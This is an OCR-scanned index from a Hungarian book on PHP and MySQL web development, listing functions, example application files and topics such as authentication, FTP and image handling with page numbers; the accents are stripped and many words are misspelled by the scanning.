rtkek visszaadsa 24 hivatkozs mveleti jel 25 nvels mveleti jelek 24 sszetett rtkad mveleti jelek 24 rtkek alaprtelmezett adatbzis-optimalizls 205 hozzrendelse vltozkhoz 20 oszlopok EXPLAIN utasts 204 tblk 142 tmbelemek 56 visszaadsa rtkad mveleti jel 24 max() fggvny 103
403
felhasznli nevek 392 felhasznlk biztonsgos cranzakcik 278
642
Trgymutat
hitelests 265 alapszint hitelests 270 felhasznJk azonostsa 265 hozzfrs-szablyozs megvalstsa 266 jelszavak trolsa 267 jelszavak titkostsa 269 kivonatos hitelests 271 mod_auth_mysql modul 275 tbb oldal vdelme 270 weboldalak 276 jogosultsgok 151 globlis jogosultsgok 152 GRANT parancs 151 legkisebb jogosultsg elve 151 tipusai 152 ltrehozsa MySQL-ben 151 MySQL belltsa 151 rendszergazdai felhasznli jogosultsgok 153 feliratkozas() fggvny 499 felkszls DoS/DDoS tmadsokra 262 feloszts karakterlncok explode() fggvny 79 subsrr() fggvny 80 feltrelek adon feltteleknek megfelel adatok visszakeresse 168 felrteles urasrsok 31 else urasrsok 32 elseif utastsok 33 if utasrsok 32 kdblokkok 32 kd tagolsa 32 sszehasonltsa 34 switch utastsok 33 felrlrs fjlok 293 biztonsg 295, 298 hibakeress 298 HTML 294 HTML rlapok 293 megjelentse 297 PHP kd rsa 295 FTP (File Transfer Protocol) 318 feltolres.php fjlok (MLM alkalmazs) 480 feltrt szerverek 248 felgyelet biztonsg 246 fellerek Warm Mail alkalmazs (e-mail kliens) 452 Web Services (Amazon) 567 fellrs 114 ferchRow() metdus 192 fileatime() fggvny 303 file_exists() fggvny 50 filegroup() fggvny 302, 303 fileinfo kiterjeszts 5 FILE jogosultsg 198
filemtime() fggvny 303 fileowner() fggvny 302, 303 fileperms() fggvny 303 filesize() fggvny 303 filetype() fggvny 303 final kulcssz 115 findstr.exe 256 fiok_beallitas_megjelenitese() fggvny 464 fiok_lista_lekerese() fggvny 466 fiokok_lekerese() fggvny 463 fiokok_szama() fggvny 466 fiok_tarolasa() fggvny 489 fiok_torlese() fggvny 465 fiok_valaszro_megjelenitese() fggvny 466 fizets rendszerek 420 fizikai biztonsg 242, 263 float adattipus (vltozk) 20 f megnyitsi md 41 fkuszcsoportos beszlgetsek 223 folyamarbrk online hrlevelek 478 folytats jel (MySQL) 150 fopen() fggvny 40, 299 for ciklusok 37 fordton idzjelek 305 foreach ciklusok 37 formrumok GIF (Graphics Interchange Formar) 332 JPEG (Joint Photographic Experts Group) 332 kpek 332 formrurnkdok dare() fggvny 321 PDF 542 PNG (Portable Network Graphics) 332 PostScript 541 RTF 541 WBMP (Wireless B itmap) 332 formzs fehrkz katakterek levgsa 75 HTML formzs 75 karakterlncok 75 kis- s nagybets rsmd megvltoztatsa 77 konverzis specifikci 76 ltrim() fggvny 75 megjelentse 76 megjelentshez 75 nl2br() fggvny 75 rtrim() fggvny 75 trolshoz 78 trim() fggvny 75 formazas() fggvny 497 forrskd sznkiemelse 364 forrs teleptse 622 frum 517 csomopont osztly 518 fjlok 519 fastruktra 518
hozzszlk 519 megoldsok 517 frum alkalmazs fastruktra 518 forum_fuggvenyek.php fjl (webes frum) 519 FPDF fggvnyknyvtr 543 FreeType knyvtr letltse 332 frissts anomlik elkerlse (webes adatbzisok) 145 FTP szerverek 316 jogosultsgok 197 opercis rendszerek 262 rekordok 177 szoftver 256 frisstsi anomlik elkerlse (webes adatbzisok) 145 ftp_connect() fggvny 315 FTP (File Transfer Protocol) 313 fjlfeltlts 318 fjlok biztonsgi mentse 313 bejelentkezsek 316 frissts idpontjnak ellenrzse 316 kapcsolatok bontsa 318 letltsek 317 tvoli kapcsolatok 315 fjlok tkrzse 313 bejelenckezsek 316 frissts idpontjnak ellenrzse 316 kapcsolatok bontsa 318 letltsek 317 tvoli kapcsolatok 315 FTP tviteli mdok 317 ftp_get() fggvny 318 ftp_mdtm() fggvny 316 ftp_nlst() fggvny 318 ftp_size() fggvny 318 idtllpsek megelzse 318 nvtelen bejelentkezs 315 set_time_limit() fggvny 318 ftp_get() fggvny 318 ftp_mdtm() fggvny 316 ftp_nlist() fggvny 318 frp_size() fggvny 318 fggvnyek. Lsd mg parancsok 96, 104, 105 addslashes() 78, 184, 199, 282 admin_felhasznalo_ellenorzese() 486 alkalmazsa tmbelemekre 69 altalanos_felhasznalo_ellenorzese()) 486 array_count_values() 70 array _reverse() 66 array_walk() 69 arsorr() 62 asort() 63 autoload() 127 basename() 301, 303 bejelentkezes_ellenorzese() 486 checkdate() 251
Trgymutat
643
chgrp() 304 chmod() 304 chown() 304 closedir() 299 copy() 304 cos() 562 count() 70 crypt() 269 csillag_rajzolasa() 562 current() 69 date() 16,303,321 formrumkdok 321 decoct() 303 deklarlsa 98 dirname() 301,303 disk_free_space{$path) 301 doubleval() 199 each() 58,69 elnevezs 98,372 empty() 31 end() 69 rtkvisszaads 103 escapeshellcmd() 282,256,306 eval() 361 exec() 305 explode() 68, 79 extract() 70 fjlok llapotfggvnyek eredmnyek 305 thelyezse 304 fjltulajdonsgok megvltoztatsa 304 ltrehozsa 304 olvassa 302 trtse 304 fclose() 299 fdf_create() 551 fdf_set_file() 551 fdf_set_value() 551 fileatime() 303 filegroup() 302,303 filemtime() 303 fileowner() 302,303 fileperms() 303 filesize() 303 filetype() 303 fiok_beallitas_megjelenitese() 464 fiok_lista_lekerese() 466 fiokok_lekerese() 463 fiokok_szama() 466 fiok_torlese() 465 fiok_valaszto_megjelenitese() 466 fopen() 40,299 frp_connect() 315 FTP fggvnyek 313 fjlfeltlts 318 fjlok biztonsgi mentse 313 fjlok tkrzse 313 frp_get() 318 frp_mdtm() 316 frp_nlist() 318 frp_size() 318 idtllpsek megelzse 318
set_time_limit() 318 fggvnyvltozk 99 futsidej hibk 381 get_current_user() 363 getenv() 306 get_extension_funcs() 363 gedastmod() 363 ger_loaded_extensions() 363 get_magic_quores_gpc() fggvny 184 gertype() 30 hlzati keresfggvnyek 310 explode() 312 gethostbyaddr() 312 gethostbyname() 311 germxrr() 311 parse_url() 312 hatkr 101 Header() 335,550 highlighr_file() 364 hirelesitett_felhasznalo_ellenorzese() 461 hivatkozsknt trtn paramtertads 70 htmlentities() 252 html_fejlec_letrehozasa() 466 htmlspecialchars() 184,252,282 ImageColorAllocate() 334 ImageCreate() 334 ImageCreateFromGIF() 339,340 ImageCreateFrom]PEG() 339, 340 ImageCreateFromPNG() 339,340 ImageDestroy() 335 ImageFilledRectangle() 346 ImageGetTTFBBox() 340 ImageJPEG() 335 ImageLine() 346 ImagePNG() 339 ImageRectangle() 347 imagestring() 334 ImageTTFBBox() 340 ImageTTFText() 340 imap_body() 471 imap_delete() 473 imap_expunge() 473 imap_fetchheader() 471 IMAP fggvnyknyvtr 451 imap_header() 471 imap_headers() 469,471 implode() 79 ini_get() 364 ini_set() 364 inrval() 68 isset() 31, 103 is_uploaded_file() 298 join() 79 karakterlncok kis- s nagybet megklnbztetse 77 kpek 347 knyvtrak 298,374 fjlok elrsi tvonala 301 FPDF 543 kimeneti_fuggvenyek.php 461 ltrehozsa 301
levelezo_fuggvenyek.php 463 olvass -bl 298 PHPBookmark alkalmazs 393 trlse 301 krsort() 63 ksort() 62 ltrehozsa 98 lisr() 58 lista_megjelenitese() 467 !star() 304 ltrim() 75 maii() 74,308 max() fggvny 103 md5() 269 meghvsa 16,96 kis- s nagybet megklnbztetse 97 nem ltez fggvnyek 97 paramterek 96 prototpusok 96 mysql_connect() 185 mysqli_connect() 382 mysqli_errno() 382 mysqli_error() 382 mysqli_fetch_assoc() 186 mysqli_query() 185, 382 mysql_selecr_db() 185 nem ltez fggvnyek hvsa 97 next() 69 nl2br() 75 ODBC {Open Database Connectivity) 190 opendir() 299 paramterek 16,99 cm szerinti paramtertads 102 rtk szerinti paramtertads 102 pdf_add_oudine() 555 pdf_close() 556 pdf_csere() 551 pdf_show() 555 pdf_show_xy() 561 pdf_stringwidth() 561 phpinfo() 544,306 PHP krnyezeti vltozk 306 posix_getgrgid() 303 posix_getpwuid() 302,303 postafiok_megnyirasa() 468 prev() 69 print() 75 printf() 76 prototpusok 96 putenv() 306 rajzolfggvnyek paramcerei 334 range() 56 rekurzv fggvnyek 104 rename() 304 reset() 69 rewinddir() 300 rmdir() 302 rsort() 63 rrrim() 75 serialize() 362 session_set_cookie_params() 350
644
Trgymutat
session_unregister() 352 serrype() 30 sha1() 269 show_source() 364 shuffie() 65 sin() 562 sizeof() 70 sore() 62 sprincf() 76 stac() 304 strcasecmp() 80 scrchr() 82 scrcmp() 80 stripslashes() 78, 184, 199, 282 strip_cags() 282 striscr() 82 strlen() 81 strnatcmp() 80 strpos() 82 scrrchr() 82 str_replace() 83, 550 strrpos() 82 strscr() 82 scrtok() fggvny 79 strtolower() 77 strcoupper() 77 subscr() 80 system() 305 trolt deklarlsa 213 tbbszrs definils 99 couch() 304 trim() 75, 184 uasort() 64 ucfirst() 77 ucwords() 77 uksort() 64 umask() 302 unlink() 304 unserialize() 362 urlencode() 270, 310 usort() 63 uzenet_kuldese() 474 uzenet_megjelenitese() 470 uzenet_corlese() 473 uzenet_visszakeresese() 470 vltozk 30 llapotnak ellenrzse 31 hatkr 101 tpusbelltsi -ellenrzs 30 visszakvets 133 visszatrs fggvnyekbl 103 futsidej hibk 380 beviteli adatok ellenrzse 384 fjlok olvassa/rsa 382 hlzati kapcsolatok 383 kapcsolds adatbzishoz 382 nem ltez fggvnyek 381 futtats Apache 626 direktvk 38 PHP
CGI rtelmezknt 621 modulknc 621 futtathat eartalom (trolt adatok) 282
hlzati keresfggvnyek 310 explode() 312 gechostbyaddr() 312 gechostbyname() 311 getmxrr() 311 parse_url() 312 konfigurlsa 383 TCP/IP biztonsg 233 hardver hiba (zleti weboldalakJ 228 tolvajok 248 hromdimenzis tmbk 61 hromoperandus mveleti jel 27 hash() fggvny 240 mkdse PHP 5.3-ban 5 hatkr fggvny hatkr 101 globlis hatkr 101 vltozk 22 vltozk hatkre 100 Header() fggvny 335 HEAP tblk 209 helyi vltozk 101 helyrellts adatbzisok 206 hibk 401-es tpus hibk (HTTP) 273 beviteli adatok ellenrzse 384 fjlok olvassa/rsa 382 futsidej 380 hlzati kapcsolatok 383 hibajelentsi szintek 387 hibakezel mveleti jel 27 kapcsolds adatbzishoz 382 kezelse 138 logika 384 nem ltez fggvnyek 381 PHP 5.3 5 programozs 379 futsidej hibk 380 logika hibk 384 szintaktikai hibk 379 szintaktika 379 szoftver 228, 235 szoftver fejlesztk hibs felttelezsei 235 nem megfelel tesztels 235 pontarlan specifikcik 235 zenetek 97 hibakeress fjlfeltltsek 298 fjlok megnyitsa 43 hibk. Lsd mg hibk 43 vltozkban 385 highlight_file() fggvny 364 hrlevelek 477 adatbzisok konfigurlsa 480 bejelentkezs 490 csatolt llomnyok 478 elnzere 510 fjlfeltlts 478
G,Gy
gecARS() fggvny 578, 592 get_currenc_user() fggvny 363 getenv() fggvny 306 get_excension_funcs() fggvny 363 gechoscbyaddr() fggvny 312 gechostbyname() fggvny 311 gedastmod() fggvny 363 get_loaded_extensions() fggvny 363 get_magic_quotes_gpc() fggvny 184 getmxrr() fggvny 311 getSzerverldo() fggvny 604 geccype() fggvny 30 GIF (Graphics Inteechange Format) 332 globlis hatkr 101 globlis jogosultsgok 152 globlis vltozk 101 Gnu Privacy Guard (GPG) 283 kulcsprok 284 teleptse 283 tesztelse 285 weboldal 283 gomb_lettehozasa.php fjl 337 gombok gomb_lettehozasa.php kd 337 sznei 338 szveg sznek/bettpusok 336 szveg illesztse gombokra 339 gomb_tervezese.html fjl 336 GPG (Gnu Privacy Guard) 283 kulcsprok 284 teleptse 283 tesztelse 285 weboldal 283 grafikonok adatok 342 oktatanyagok 348 GRANT jogosultsg 198 GRANT parancs 151 grant tblk 194 GRANT utastsok 200, 201 Graphics Inceechange Forrnat (GIF) 332 GROUP BY mellkg 174 gyermek csompontok ( webes frum fastruktrja) 518 gykr csompontok ( webes frum fastruktrja) 518 gykrelemek (XML) 566 gyorsttrazs Amazon 568
H
hackerek 248 halad OOP funkcik 124 hlzatok
Trgymutat
645
feleltse 504, 509 folyamarbrk 478 kd architektrja 482 megolds ttekintse 478 hitelests. Lsd mg biztonsg 232, 237, 259 alapszint hitelests (HTTP) 270 Apache .htaccess fjlokkal 272 PHP-ben 271 egyni hitelests ltrehozsa 276 felhasznJk azonostsa 265 hozzfrs-szablyozs jelszavak trolsa 267 jelszavak titkostsa 269 megvalstsa 266 tbb oldal vdelme 270 jelszavak 237 kivonatos hitelests (HTTP) 271 mod_auth_mysql modul 275 dokumentci weboldala 276 telepts 275 tesztelse 275 weboldalak 276 hitelesitert_felhasznalo_ellenorzese() fuggvny 461 hitelkrtyaadatok trolsa 283 hivatkozsknt trtn paramtertads 70 hivatkozs mveleti jel 25 hivatkozsok Add to Care 570 Checkout 570 Details 570 webes frum fasttuktrja 518 hossz stlus rlapvltoz 17 host tbla 194 HotScripts.com weboldal hozzfrs bizalmas adatokhoz val hozzfrs korltozsa 246 mdostk 112 MySQL 149 numerikusan indexelt tmb tartalmhoz 56 .php fjlokhoz val hozzfrs korltozsa 254 szablyozs (hitelests) jelszavak 267 megvalstsa 266 tbb oldal vdelme 270 trsrsos tmb tartalmhoz 57 hozzfrs korltozsa bizalmas adatok 246 .php fjlokhoz 254 hozzaszolas_cimenek_lekerese() fuggvny 534 hozzaszolas_lekerese() fuggvny 531 hozzaszolas_megjelenitese() fuggvny 532 hozzaszolas_megrekintese.php fjl ( webes frum) 519 hozzszlk (webes frum) 519 htaccess fjlok (Apache webszerver) 272 634 hozzaadKJValasz()fuggvny 612
hcml_fejlec_letrehozasa() fuggvny 466 HTML (Hypertext Markup Language) entity 252 formzs (karakterlncok) 75 hcmlentities() fuggvny 252 htmlspecialchars() fuggvny 184, 252, 282 PHP begyazsa 13 cmkk (tag) 14 fehrkz karakterek 15 megjegyzsek 15 utastsok 15 rlapok fjlfeltlts 293 feldolgozsa 12, 13 megrendel rlapok ltrehozsa 12 HTML rlapok feldolgozsa 12, 13 htpasswd program (Apache webszerver) 274 httpd.conf 626 HTTP (Hypertext Transfer Protocol) 280 alapszint hitelests 270 401-es tpus hibk 273 Apache .htaccess fjlokkal 272 PHP-ben 271 kzfogs (handshaking) 280 kivonatos hitelests 271 Secure Sockets Layer (SSL) 280 indexek
339 ImageCreate() fuggvny 334 ImageDestroy() fuggvny 335 ImageFilledRectangle() fuggvny 346, 347 ImageGetTTFBBox() fuggvny 340 ImageJPEG() fuggvny 335 ImageLine() fuggvny 346 ImageMagick knyvtr 331 ImagePNG() fuggvny 339 ImageRectangle() fuggvny 347 imagestring() fuggvny 334 ImageTTFBBox() fuggvny 340 ImageTTFText() fuggvny 340 imap_body() fuggvny 471 imap_delece() fuggvny 473 imap_expunge() fuggvny 473 imap_fetchheader() fuggvny 471 imap_header() fuggvny 471 imap_headers() fuggvny 469, 471 IMAP (Internet Message Access Protocol) 308 fuggvnyknyvtr 451 kliens weboldala 622 implode() fuggvny 79 importls nyilvnos kulcsok (Gnu Privacy Guard) 285 indude() utasts 90 adatbzis-optimalizls 205
I,
adatbzisok 143
lekrdezsek 205 tmbk 205 index.htm! fjl (oklevelek projekt) 544 INDEX jogosultsg 153 index.php fjl MLM alkalmazs 480 online kosr alkalmazs 422 Tahuayo alkalmazs 571
idegen kulcsok IDE (Integrated Development Environment) 375 idezojel_hozzaadasa() fuggvny 535 id s dtum MySQL-ben szmolsok 328 PHP-ben 5, 321 date() fuggvny 321 mikroszekundumok 329 naptrfuggvnyek 329 szmolsok 327 vlts PHP s MySQL formturnak kztr 326 idtllpsek megelzse 318 if utastsok 32 illeszts regulris kifejezsek 83 karakterkszletek 84 karakterosztlyok 84 rszsztringek keress s csere 83 illeszrsek PHP adatbzis-illeszrsek 190 ImageColorAllocate() fuggvny 334 ImageCreateFromGIF() fuggvny 334, 339 ImageCreateFromJPEG() fuggvny 334, 339 ImageCreateFromPNG() fuggvny 334,
646
Trgymutat
rs fjlok 40,282 futsidej hibk 382 kezelhec kd 371 darabokra bonts 373 elnevezsi szoksok 371 fggvnyknyvtrak 374 knyvtrstruktrk 373 megjegyzsek hasznlata 372 programozsi szablyok 371 tagolsa 373 osztlyok kdjnak megrsa 117 issec{) fggvny 31,103 is_uploaded_lile{) fggvny 298
hlzari kapcsolatok futsidej hibk 383 tvoli FTP szerverek 315 webes adatbzisok 184 kapcsolatok (adatbzisok) 143 egy a sokhoz tpus kapcsolatok 143 egy az egyhez tipus kapcsolatok 143 sok a sokhoz tipus kapcsolatok 143 kapcsolds adatbzis szerverekhez 260 kapcsolk -h kapcsol (mysql parancs) 150 -p kapcsol mysql parancs) 150 -u kapcsol (mysql parancs) 150 karakterek kszletek 84 kitlt 76 osztlyok 84 vdkarakterek hasznlata 78 karakterlncok 19,75 adattipus (vltozk) 20 biztonsg 252 egyestse implode{) fggvny 79 join() fggvny 79 rtkelse 361 felosztsa explode{) fggvny 79 strtok{) fggvny 79 substr{) fggvny 80 formzsa 75 hossznak megllaptsa 81 HTML formzs 75 kis- s nagybets rsmd megvltoztatsa 77 kis- s nagybets rsmdok fggvnyei 77 konverzis specifikcik 76 lcrim() fggvny 75 megjelencse 75 print{) fggvny 76 printf{) fggvny 76 sprintf{) fggvny 76 mveleri jelek 23 nl2br{) fggvny 75 sszefz mveleti jel 19 sszehasontsa 80 karakterlncok hossznak megllapts 81 scrcasecmp() fggvny 80 strcmp{) fggvny 80 scmaccmp() fggvny 80 oszloptipusok 162 print{) fggvny 76 printf{) fggvny 76 rendezse strcasecmp{) fggvny 80 strcmp() fggvny 80 scrnaccmp() fggvny 80 rszszcringek cserje 83 elrse substr{) fggvnnyel 80
keresse 82 szmszer pozcijnak megkeresse 82 rtrim() fggvny 75 sprintf{) fggvny 76 trolsa 78 token 79 trim() fggvny 75 karakterlncok felosztsa strtok{) fggvny 79 katasztrfaelhrts 247 tervezse 263 kategoria_beszurasa.php fjlok (online kosr alkalmazs) 422 kategoria_beszurasa_urlap.php fjlok (online kosr alkalmazs) 422 kategoriak_lekerese{) fggvny 427 kategoria_megjelenitese.php fjlok (online kosr alkalmazs) 422 kategoria_szerkeszcese.php fjl (online kosr alkalmazs) 422 kategoria_szerkesztese_urlap.php fjl (online kosr alkalmazs) 422 kpek automatikus elllitsa 336 azonosrk trlse 335 formturnak 332 GIF (Graphics Incerchange Format) 332 JPEG (Joint Photographic Expetts Group) 332 PNG (Portable Necwork Graphics) 332 WBMP (Wireless Bitmap) 332 kimenet ksztse 335 ltrehozsa 333 bettipusok 336 szveggel 336 rajzvszon ltrehozsa 333 sorok kztr dinamikusan elllitotr 336 sznek,RGB (vrs,zld s kk) 334 szveg rajzolsa/rsa 334 szveg illesztse gombokra 339 tmogatsa PHP-ban 331 krsek MySQL adatbzis 197 keress s csere rszsztringek 83 keresfggvnyek explode{) 312 hlzatok 310 hlzatok gethostbyaddr{) 312 gethostbynarne() 311 getrnxrr{) 311 parse_url{) 312 keresztsszekapcsols 172 ksi statikus ktsek 125 ktdimenzis tmbk 59 kezels
J
jelszavak 237,245,392 adatbzisok biztonsg 198 elrse 259 bejelentkezs MySQL-be 150 MySQL 283 trolsa 198,267 titkostsa 198,269 jelszo_valcozcacas.php fjl (online kosr alkalmazs) 422 jelszo_valtozcacas.php fjl (PHPBookmark alkalmazs) 393 jelszo_valcozcacas_urlap.php fjl (online kosr alkalmazs) 422 jelszo_valcozcacas_urlap.php fjl (PHPBookmark alkalmazs) 393 jogosultsgok adatbzis-optimalizls 205 fjlok rsa 282 FILE 198 frisstse 197 GRANT 198 jogosulcsg rendszer 193 columns_priv tbla 197 jogosultsgok frisstse 197 slave szerverek 207 MySQL 151 globlis jogosultsgok 152 GRANT parancs 151 legkisebb jogosultsg elve 151 tipusai 152 user tbla 194 jpeg-6b leeltse 331 JPEG (Joint Photographic Expercs Group) 332, 622 Julin-napcr 329
K
kapcsolat bontsa webes adatbzisok 187 kapcsolatok boncsa FTP szerverek 318
Trgymutat
647
Bob autalkatrszek alkalmazs 135 Exception osztly 132 felhasznl ltal meghatrozott kivrelek
133
hibk 138 kivrelek 131 kivrelek kivltsa 131 oktatanyagok 138 osztlyok ltrehozsa 133 try blokkok 131 kezelk continue 215 declare 215 exit 215 kzfogs (handshaking) 280 kifejezsek keresse 87 regulris 83 karakterkszletek 84 Perl 83 kijelentkezs Warm Mai! alkalmazs (e-mail kliens)
462
lcijelentkezes.php fjl online kosr alkalmazs 422 PHPBookmark alkalmazs 393 kijelentkezes.php kd (hitelests) 358 kimenet rtkeinek szrse vdkarakterekkel 252 kimeneti_fuggvenyek.php fjl kimeneti_fuggvenyek.php fggvnyknyvtr 461 MLM alkalmazs 480 PHPBookmark alkalmazs 393 Warm Mai! alkalmazs 453 webes frum 519 kimenet ksztse kpek 335 kis- s nagybet megklnbztetse fggvnyek meghivsa 97 karakterlncok 77 MySQL utasrsok 150 kirerjeszts Exception osztly 133 kiterjesztsek require() utasts 91 kirerjesztett sznraktika 174 kirlt karakterek 76 kivlaszts webes adarbzisok 185 kivlts kivtelek 131 kivtelek 131, 389 Bob autalkatrszek alkalmazs 135 Exception osztly 132 fjlkezels 135 felhasznl ltal meghatrozott kivrelek
133
Icivons mveleti jel 23 kivonatos hitelests (HTTP) 271 kj_hozzaadasa() fggvny 412, 616 kj_hozzaadasa.php fjl ( PHPBookmark alkalmazs) 393 kj_hozzaadasa_urlap.php fjl (PHPBookmark alkalmazs) 393 kj_rorlese() fggvny 415 kj_torlese.php fjl PHPBookmark alkalmazs 393 klnozs objektumok 126 kd blokkok 32 darabokra bontsa 373 elnevezs szoksok 371 futtatsi direktva 38 mkdsi logika 376 online kosr alkalmazs 421 optimalizlsa 376 prototpusok 375 szervezse 253 tagolsa 32 tartalom 376 tesztelse 377 tbbszri felhasznlsa 370 verzikvers 374 CVS (Concurrent Versions System)
374
trol 374 tbb programoz 37 4 kd kezelhetsge 371 darabokra bonts 373 elnevezs szoksok 371 fggvnyknyvtrak 374 knyvtrsrruktrk 373 megjegyzsek hasznlara 372 programozsi szablyok 371 tagols 373 kdok elfordtott urasrsok 189 eredmenyek.php 182 gomb_lerrehozasa.php 337 kpek rajzolsa 333 Iciugrs -bl 37 konyv_beszurasa.php 188,446 mysqlhotcopy adatbzis biztonsgi mentse 206 PHP MySQL-jelszavak 283 tulajdonos azonosrsa 363 utols mdosts idpontja 363 vgrehajtsa 365 vgrehajts lelltsa 361 webes adarbzisok lekrdezse 184 adarbzisok kivlasztsa 185 adatok hozzadsa 187 beviteli adatok 184 elfordtott urasrsok 189 eredmnyek visszakeresse 186 kapcsolat bellitsa 185 kapcsolat bontsa adatbzisokkal 187
mysqli_query() fggvny 185 kltsgcskkenrs (zleti weboldalakJ 227 konfigurls DMZ 261 PHP 624 webszerverek Apache HTTP Server 258 Microsofr IlS 258 konstruktorok 109 konverzi formtumszering 76 tpuskdjai 77 konyv_beszurasa.php fjl (online kosr alkalmazs) 422 konyv_beszurasa.php kd 188 elfordtott urasrsok 189 konyv_beszurasa_urlap.php fjl (online kosr alkalmazs) 422 konyvjelzo_fns.php fjl (PHPBookmark alkalmazs) 393 knyvjelzk ajnlsa 392 konyvjelzo.gif fjl (PHPBookmark alkalmazs) 393 rrlse 414 konyvjelzok.sql fjl (PHPBookmark alkalmazs) 393 konyv_megjelenitese.php fjl (online kosr alkalmazs) 422 knyvrrak fjlok rsi jogosultsgok 282 fggvnyek 298 fjlok elrsi rvonala 301 knyvrrak ltrehozsa 301 knyvrrak rrlse 301 olvass knyvrrakbl 298 struktrk 373 tallzsa 298 knyvtrak. Lsd mg fggvnyek, knyvrrak FreeType letltse 332 fggvny 374, 393 ImageMagick 331 mysqli elfordrott utastsok 189 PECL (PHP Extension osztlyknyvrrJ
331
PHP 622 adatbzis-illeszrsek 190 SOAP knyvtrak (Amazon) 568 SOAP 567 konyvtar_tallozas.php fjl 298 koordintk befogW keretek 340 krnyezetek fejlesztkrnyezet 375 krnyezeti vltozk PHP fggvnyek 306 kosr fejlesztse (Amazon) 567 kosar_megjelenicese() fggvny 434 kosar_megjelenirese.php fjl (online kosr
648
Trgymurat
alkalmazs) 422 krsek ksi statikus ktsek 125 kzepes stlus rlapvltoz 17 kulcsok adatbzisok elsdleges kulcsok 142 idegen kulcsok 143 kulcsprok teleptse 284 nyilvnos kulcsok 284 privt kulcsok 284 tmbk 56 kulcsszavak ASC 173 DESC 173 rerurn 103 Ields e-mail 307 hrlevelek 511, 514 kuldes() fliggvny 511 kls kulcsok InnoDB tblk 211 kurzorok (trolt eljrsok) 214
lista_megjelenitese() fliggvny 467 lista_tarolasa() fliggvny 503 list() fliggvny 58 literlok 19 LOAD_DATA_INFILE utasts 209 LOCK TABLES parancs 206 logika hibk 384 logikai mveleti jelek 26 !stat() fliggvny 304 ltrim() fliggvny 75
Exception osztly 132 fetchRow() 192 statikus 124 tbbszrs definilsa 126 mezk tblk 142 Microsofi: IlS konfigurlsa 258 Word, RTF 541 microtime() fliggvny 329 MIME levelezcsomag teleptse 631 mlm_fuggvenyek.php fjl (MLM alkaimazs) 480 MLM (levelezlista-kezel) 477 fjlok 480 fejlesztse 477 online hrlevelek 477 csatolt llomnyok 478 fjlfeltlts 478 folyamarbrk 478 megolds ttekintse 478 md autocommit 210 mod_auth modul (Apache webszerver) 273 mod_auth_mysql modul 275 mod_auth_mysql modul dokumentci weboldala 276 teleptse 275 tesztelse 275 mdosts anomlik elkerlse (webes adatbzisok) 145 utols mdosts idpontja (kdok) 363 mdostsi anomlik elkerlse (webes adatbzisok) 145 modulok kd 421 mod_auth (Apache webszerver) 273 mod_auth_mysql 275 telepts 275 tesztelse 275 PHP futtatsa 621 monitorok MySQL 150 mkdsi logika 376 elvlasztsa a tartalomtl 376 munkamenetek (session) megszntetse 351 online kosr alkaimazs 419 vltozk 349 trlse 351 mveleti jelek 22 aritmetikai mveleti jelek 23 birmveleti jelek 26 csoportosthatsg 29 egyoperandus mveleti jelek 23 elsbbsgi sorrend 29 rtkad (
=
M
magic_quotes_gpc direktva 282 magic_quotes_runtime direktva 282 Maii Exchange (MX) rekordok 312 mail() fliggvny 74, 308, 410 maradkkpzs mveleti jel 23 MaxClients paramter (Apache) 185 max_connections paramter 185 max() fliggvny 103 mdS() fliggvny 269 md5() mkdse PHP 5.3-ban 5 megakadlyozs fellrs 115 rklds 115 meghvs fliggvnyek 16, 96 kis- s nagybet megklnbztetse 97 nem ltez fliggvnyek 97 paramterek 96 prototpusok 96 osztlymetdusok 112 megjegyzsek 15, 372 megnyits fjlok 40 cmkk (XML) 565 fopen() fliggvny 41 megnyitsi mdok 40 megnyitsi mdok fjlok 40 megosztott szolgltatsmegragadssal jr tmads (D DoS) 234, 262 megvalsts ajnls 416 rklds 113 mellkgak GROUP BY 174 HAVING 174 throw 133 WHERE 168 sszehasonlt mveleti jelek 168 MEMORY tblk 209 MERGE tblk 209 metdusok fellrsa 115 ltrehozsa 109 metdusok. Lsd mg lliggvnyek bind_param() 190 _call() 126
L
lthatsg szablyozsa 113 rklds 113 legkisebb jogosulrsg elve 151 leiratkozas() fliggvny 499 lekrdezsek adatbzisok kivlasztsa 185 adatok hozzadsa 187 beviteli adatok 184 elfordtott utastsok 189 eredmnyek visszakeresse 186 EXPLAIN utasts 201 indexek 205 INSERT 187 kapcsolat bontsa adatbzisokkal 187 kapcsolat ltrehozsa 184 mysqli_query() fliggvny 185 sebessge 205 webes adatbzisok 184 letagadis 235 letlts fjlok letltse F T P szerverekrl 317 FreeType knyvtr 332 jpeg-6b 331 PostScript Type l bettpusok 332 tllib 332 ltrehozs Book-O-Rama alkalmazs 165 numerikusan indexelt tmbk 56 asszociatv tmbk 57 levl csompontok (webes frum fastruktrja) 518 levelezo_fuggvenyek.php fjl (Warm Mail alkalmazs) 453 levelezo_fuggvenyek.php fliggvnyknyvtr fiokok_lekerese() fliggvny 463 LIKE kulcssz 169
18, 20
Trgymutat
649
nvels mveleci jelek 24 sszetett rtkad mveleti jelek 24 hromoperandus mveleti jel 27 hibakezel mveleti jel 27 karakterlncok mveleci jelek 23 sszefz mveleti jel 19 logikai mveleti jelek 26 new mveleti jel 27 sszehasonlt mveleci jelek 25 egyenl mveleti jel 25 sszehasonlt mveleti jelek W HERE mellkgak 168 tpusmveleci jel 28 tmb 28 tmbk 59 vgsszeg kiszmtsa az rlapon 28 vgrehajt 27 vessz mveleti jel 27 MX (Mai! Exchar)ge) rekordok 312 myisamchk segdalkalmazs 204 MyiSAM tbla 209 MySQL adatbzis 193,196 biztonsgi mentse 242 db tbla 195 eredmenyek.php kd 182 host tbla 196 kapcsolat ellenrzse 197 krs ellenrzse 197 ltrehozsa 151 tables_priv tbla 196 user tbla 194 webes adatbzis architektrja 181 azonosrk 160 bejelentkezs 150 felhasznJk bellitsa 151 folytats jel 150 futsidej hibk 382 GRANT parancs 151 hozzfrs 149 jelszavak 283 jogosultsgok 151 globlis jogosultsgok 152 GRANT parancs 151 legkisebb jogosultsg elve 151 tpusai 152 max_connections paramter 185 mod_auth_mysql modul 275 dokumentci weboldala 276 telepts 275 tesztelse 275 mysql parancs 150 onlne kziknyv 164 pontosvessz (;) 150 szintakrika 174 teleptse binris fjlok 622 forrs teleptse 622 Windows 628 Windows, PATH bellitsa 628
utastsok 150 webes forrsok 634 weboldal 149 mysql_dump parancs 206 mysqlhotcopy kd 206 mysqli_connect() fggvny 185, 382 mysqli_errno() fggvny 382 mysqli_error() fggvny 382 mysqli_fetch_assoc() fggvny 186 mysqli_query() fggvny 185, 382 mysql parancs 150 mysql_select_db() fggvny 185
